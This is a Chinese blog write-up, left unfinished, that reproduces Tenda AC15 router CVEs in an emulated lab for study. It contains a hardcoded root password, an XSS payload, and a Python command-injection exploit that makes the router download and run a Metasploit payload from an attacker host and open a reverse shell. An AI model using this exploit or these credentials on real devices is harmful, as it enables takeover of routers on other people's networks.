menu 牢记自己是菜
Tenda AC15 AC1900 version 15.03.05.19--CVE(CVE10987证明存在,但有一点问题)
1019 浏览 | 2023-07-16 | 阅读时间: 约 9 分钟 | 分类: 固件漏洞安全 | 标签:
请注意,本文编写于 340 天前,最后修改于 340 天前,其中某些信息可能已经过时。

0x1 前言

这是第二篇Iot的复现,根据现有资料,该硬件设备存在CVE-2020–10986CVE-2020–10989CVE-2020–10988CVE-2020–10987 & CVE-2020–15916一共5个CVE,这篇博客将从搭建靶机开始,尽量的去复现每个漏洞,争取搞懂原理。如文章有任何做法或思路有不妥的地方,或有误的地方,希望师傅们可以反馈给我,我会及时修改(菜鸡大哭)。也欢迎各位师傅讨论。

注意:本博客未完成,由于接到其他任务,本博客内容暂放。具体问题出现在最后一个命令注入漏洞中,已经证明漏洞存在,并且执行了远程下载,shell反射操作,但是shell反射后并没有按预期出现交互界面,初步排查可能是MSF生成的Payload有未被察觉的问题。各位师傅们请注意。

0x2 环境搭建

固件:US_AC15V1.0BR_V15.03.05.19_multi_TD01

首先我们先去官网下载固件,可以直接谷歌它的官网,也可以用上面的链接。紧接着我们对固件进行提取,并查看文件架构。

binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
readelf -h init

我们发现程序是ARM架构下的小端序文件。

使用qemu-use进行环境搭建


Q1:arm虚拟机的选择:

armelarmhf 都是 ARM 架构的 Linux 操作系统支持的处理器架构。它们的主要区别在于所使用的浮点数处理器。

armel 使用软件浮点数处理器(Software Floating Point),不支持硬件浮点运算。软件浮点数处理器需要通过 CPU 的通用指令集来实现浮点数运算,所以效率较低,但是兼容性较好,可以运行在各种 ARM 架构的处理器上。

armhf 使用硬件浮点数处理器(Hardware Floating Point),支持硬件加速运算,提高了应用程序的运行效率。硬件浮点数处理器需要 CPU 的专门指令集来实现浮点运算,因此只能运行在支持此指令集的处理器上。

在选择 ARM 架构的 Linux 操作系统时,需要注意所使用的处理器是否支持硬件浮点数处理器,如果支持,建议选择 armhf 操作系统以获取更好的性能。如果处理器不支持硬件浮点数处理器,则只能选择 armel 操作系统。

在arm架构中,大多数都是使用的是小端序,所以armel与armhf并不是区分大小端序的虚拟机(啊我第一次配置搞错了)。


复制qemu-arm-static到当前文件夹下,并尝试启动服务。

cp /usr/bin/qemu-arm-static .
sudo chroot . ./qemu-arm-static ./bin/httpd

好消息,运行了,坏消息没有回显。使用IDA看一下整个程序运行的状态,使用qemu的调试功能,将其映射在23946号端口。

sudo chroot ./ ./qemu-arm-static -g 23946 ./bin/httpd

我们使用IDA,直接远程连接进行调试。

在调试中我们发现有两个部分有问题,一个是check_network函数,一个是CFM文件检查,这里我尝试直接nop掉了两个跳转。


Q2:ARM架构下的跳转

ARM 架构处理器提供了若干种跳转指令,这些指令主要有以下几种类型:

  1. 无条件跳转指令
B <label> 

这是身为 Arm 处理器的一条最重要的跳转指令。B 指令在执行时会跳转到指定的 <label> 处所在的指令位置,实现无条件的转移。

  1. 带链接的无条件跳转指令
BL <label> 

BL 指令则是一种有连接的跳转指令,它跳转到目标标签所在的指令位置保存返回地址,使得执行后可以返回到原来的指令位置继续执行。返回地址会保存在链接寄存器 LR 中。

  1. 带条件的跳转指令
B<cond> <label> 

B指令为带条件的跳转指令,根据条件码决定是否跳转。例如:

  • BNE 表示在“不等于”条件下跳转到指定的标签。
  • BEQ 表示在“等于”条件下跳转到指定的标签。

条件码用于判断条件是否满足,这些条件码可以根据之前指令的执行结果来判断,并通过逻辑运算得出。

除了上述常见的跳转指令,ARM 还有其他指令形式,例如:

  • BX 和 BLX 指令用于寄存器间的跳转,可以将寄存器中的函数地址直接跳转到对应的代码位置。
  • TBB 和 TBH 指令用于实现小范围的跳转表。

在修改完之后,我们发现它的网络配置也出现了问题,他在寻找一块名为br0的网卡,我们创建一个这样的网卡,给他绑定上相应的IP地址,设置为桥接模式,再次运行httpd,我们则可以得到访问界面。

sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo ifconfig br0 192.168.1.80/24

使用qemu-system进行环境搭建

这里是补第四部分漏洞复现的环境搭建,在复现一开始,我就选择的是qemu-system进行的环境搭建,结果由于种种原因没有完成,结果我就想把这部分给咕咕了。然后把之前的笔记都删除掉了,结果发现到最后的漏洞如果不使用system的模式好像复现不出来(不知道是不是这个原因)。这里稍微复现一下删除笔记中遇见的两个坑。

  1. 网卡问题
  2. armhf与armed的区别

Q4:armhf与armed的区别

armelarmhf 都是 ARM 架构的 Linux 操作系统支持的处理器架构。它们的主要区别在于所使用的浮点数处理器。

armel 使用软件浮点数处理器(Software Floating Point),不支持硬件浮点运算。软件浮点数处理器需要通过 CPU 的通用指令集来实现浮点数运算,所以效率较低,但是兼容性较好,可以运行在各种 ARM 架构的处理器上。

armhf 使用硬件浮点数处理器(Hardware Floating Point),支持硬件加速运算,提高了应用程序的运行效率。硬件浮点数处理器需要 CPU 的专门指令集来实现浮点运算,因此只能运行在支持此指令集的处理器上。

在选择 ARM 架构的 Linux 操作系统时,需要注意所使用的处理器是否支持硬件浮点数处理器,如果支持,建议选择 armhf 操作系统以获取更好的性能。如果处理器不支持硬件浮点数处理器,则只能选择 armel 操作系统。所以ed和hf和程序的大小端并没有什么关系。


#宿主机
sudo su
# 安装配置网络的工具
apt-get install bridge-utils
apt-get install uml-utilities

#我的宿主机的上网的网卡为ens33,并且存在多个虚拟网卡
ifconfig ens33 down    # 首先关闭宿主机网卡接口
brctl addbr br0                     # 添加一座名为 br0 的网桥
brctl addif br0 ens33        # 在 br0 中添加一个接口
brctl stp br0 on            #打开生成树协议
brctl setfd br0 2                  # 设置 br0 的转发延迟
brctl sethello br0 1                # 设置 br0 的 hello 时间
ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
ifconfig ens33 0.0.0.0 promisc up    # 启用网卡接口
dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址

tunctl -t tap0             # 创建一个 tap0 接口
brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
ifconfig tap0 192.168.1.60/24 up        #为tap0分配ip地址,我这里的虚拟机与主机是桥接的状态,所以网段在1,根据自己需求进行调节

brctl showstp br0                   # 显示 br0 的各个接口

此时网口状态如下图,br0是我们创建的网桥,一端是我们虚拟机的网卡ens33,另一端是我们准备用于qemu的的网卡接口tap0。

wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

ifconfig eth0 192.168.1.76/24 up

我们启动虚拟机,其中启动参数为-net nic 表示希望 QEMU 在虚拟机中创建一张虚拟网卡,-net tap 表示连接类型为 TAP,-ifname指定了网卡接口名称(就是刚才创建的 tap0,相当于把qemu虚拟机接入网桥)。script 和 downscript 两个选项的作用是告诉 QEMU 在启动系统的时候是否调用脚本自动配置网络环境,如果这两个选项为空,那么 QEMU 启动和退出时会自动选择第一个不存在的 tap 接口(通常是 tap0)为参数,调用脚本 /etc/qemu-ifup 和 /etc/qemu-ifdown。由于我们已经配置完毕,所以这两个参数设置为 no 即可。(大佬太强了,我之前之所以放弃了qemu-system就是因为网桥没搭明白)

随后我们为虚拟机设置IP,之后就可以传输文件了。

和我们之前qemu-user一样,我们需要设置一个名为br0的网卡,所以我们要使用brctl,但是我们的虚拟机并没有brctl指令,apt-get指令并不能自动更新我们尝试手动下载指令。

下载bridge-utils软件包。你可以在Debian、Ubuntu等系统中执行以下命令来下载该软件包:

wget http://ftp.debian.org/debian/pool/main/b/bridge-utils/bridge-utils_1.6-2_armhf.deb

解压缩bridge-utils软件包。你可以执行以下命令来解压缩该软件包:

ar x bridge-utils_1.6-2_armhf.deb

这将解压缩bridge-utils软件包,并在当前目录下生成3个文件:debian-binarycontrol.tar.gzdata.tar.xz

解压缩data.tar.xz文件。你可以执行以下命令来解压缩该文件:

tar -xJf data.tar.xz

然后我们将此文件传入虚拟机,构建软链接,就可以使用指令了。

brctl addbr br0    #添加br0虚拟网卡
ifconfig br0 192.168.1.76/24 up

随后我们启动服务器,作为靶机服务器。

chroot ./squashfs-root/ /bin/sh ./bin/httpd

0x3 漏洞复现

CVE-2020–10986

该CVE官方给出的定义时Exploiting Insufficient Request Validation,即为请求验证不足。

我们可以直接进行访问如下地址,http://192.168.1.80/goform/SysToolReboot。其中/goform/SysToolReboot 是一个基于 HTTP 协议的 URL 地址,通常用于 Web 界面中“重新启动”、“重启系统”或“重置设备”等功能的触发。这个地址需要搭配特定的内容或参数一起发送到服务器端,服务器端在接收到请求后会根据特定的处理逻辑对设备进行相应的操作。

具体来说,该地址可能对应着一个 Web 界面上的按钮或链接,用户点击时会触发相应的 JavaScript 事件或 AJAX 请求,向服务器端发送 /goform/SysToolReboot 这个 URL 地址。在服务器端,接收到这个请求后可能会对设备进行重启、恢复出厂设置等操作。但是在本固件中并未对此请求进行验证,所以在任何情况下都可对其地址进行访问,导致固件的初始化和网络重启。

CVE-2020–10989

该漏洞官方给的定义是Exploiting Insufficient Data Validation and Sanitization,翻译为不充分的数据验证和清理。

由于我用的是qemu进行仿真的,设置wifi时存在一些问题,我并没有进行排查(懒),web师傅救救,所以这个xss并没有进行复现,官方给出的结论也是该漏洞成本较高,所以这里偷懒了,附官方原文。

After further probing, we ultimately reach the WiFi Settings endpoint where we discover that the user-controlled parameter field, Wifi Name, under Wifi Name & Password, is used in the landing page.On closer inspection, the application parses this parameter without input sanitization. We can exploit this by supplying a JavaScript payload (<script>alert(document.cookie)</script>) in the parameter to use a potential cross-site scripting attack. As shown below, when the victim navigates to the dashboard, it will cause the browser to execute the payload.With that, we now have persistent XSS that is triggered every time an authenticated user encounters the Wifi Name on the web application. This, in combination with the previous CSRF attack, can be used to cause persistent denial of service. While this is a valid attack vector, it requires authentication and admin privileges, which involves more investment as an attacker than we would like. Since our goal should be to both minimize the amount of victim involvement and attacker privilege required, let us dig a little deeper through the actual firmware and continue our search for vulnerabilities.

CVE-2020–10988

该漏洞官方给的定义是Finding Hardcoded Credentials,翻译为查找硬编码凭据。 由于我们使用的是软件模拟,所以我们并没有硬件编码凭据(或者我没有找到?)。

根据官方给的复现,发现用于获取 root 访问权限的密码的 md5 哈希值被硬编码在 tenda_login 二进制文件 ( 9B60FC59706134759DBCAEA58CAF9068) 中。可以破解它以获得“Fireitup”。直接可以使用这个密码进行远程telnet登录。


Q3:什么是硬编码凭据

硬编码凭据即明文将用户名和密码等敏感信息写死在应用程序或程序脚本中。这些凭据通常被用于进行身份验证操作或从受限资源获取数据等敏感操作。

硬编码凭据存在安全风险,因为敏感信息被明文保存在应用程序或脚本中,任何人都能够轻松地获取这些信息。一旦黑客获取了程序的源代码,就可以轻易地查看凭据信息并作为攻击的入口。

此外,硬编码凭据还可能导致管理和维护困难,因为凭据信息被编码在应用程序或脚本中,所以更改凭据信息时需要重新编译和部署程序。如果程序很大或包含多个模块,则这个过程可能会非常繁琐和耗时。

为了避免硬编码凭据的风险,通常建议将敏感信息存储在安全的存储库中,例如操作系统的密钥管理服务、专门的密钥管理软件、云密钥管理服务等。这样做可以避免敏感信息被直接暴露在源代码中,并能够更灵活地管理和更新凭据信息。


CVE-2020–10987 & CVE-2020–15916

这里分为两处命令执行,分别在httpd二进制文件的formsetUsbUnload和TendaTelnet函数中。

formsetUsbUnload

我们这里发现,该函数将用户可输入参数deviceName直接进行了解析,然后直接作为了dosystemCmd的参数。所以我们先进行一下实验,稍微的进行一下注入。

http://192.168.1.80/goform/setUsbUnload/?deviceName=;%20ls

发现无论怎么注入都没有回显,查看服务器后端发现由于只模拟了单个文件,没有模拟系统导致内核指令无法解析。

ioctl 是一个系统调用,通常用于控制设备或修改设备的状态。每个 ioctl 命令都有一个对应的常量(cmd)标识符,用于告知内核需要执行哪种操作。一些 ioctl 命令只能在某些设备或操作系统上使用,如果在不支持该命令的设备或操作系统上使用,就会出现 "Unsupported ioctl" 错误。

我们致力使用echo来检测注入点是否存在,发现服务端出现回显。

我们尝试使用MSF生成文件,并在本机192.168.1.152搭建一个http服务器,使用如下命令即可搭建一个可供wget指令下载的文件。

python -m SimpleHTTPServer 8080

我们将生成的Payload放入文件,使用如下脚本攻击。

#!/usr/bin/python

from pwn import remote, listen, context, log
import requests
from threading import Thread

context.log_level = "debug"

cmd  = b'wget http://192.168.1.152:8080/msf -O /msf;'
cmd += b'chmod 777 /msf;'
cmd += b'./msf'

assert(len(cmd) < 255)

url = b"http://192.168.1.78/login/Auth"
payload = b"http://192.168.1.78/goform/setUsbUnload/?deviceName=;%20" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    s.post(url=url, data=data)
    s.post(url=payload, data=data)
thread = Thread(target=attack)
thread.start()

io = listen(32111)
io.wait_for_connection()
log.success("getshell")
io.interactive()

我们发现在服务器端接收到了下载请求,并且监听端口得到了一个链接。但是!!!!现在的shell没有交互,输入指令并没有相应。现在排查可能是payload生成出现了一些问题。

这里虽然得到了一个来自qemu的远程连接,但并没有交互shell(请注意!!!!)

参考链接

Tenda AC15 AC1900 Vulnerabilities Discovered and Exploited

CVE-2018-16333:Tenda路由器缓冲区溢出漏洞复现(含qemu调试环境搭建)

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!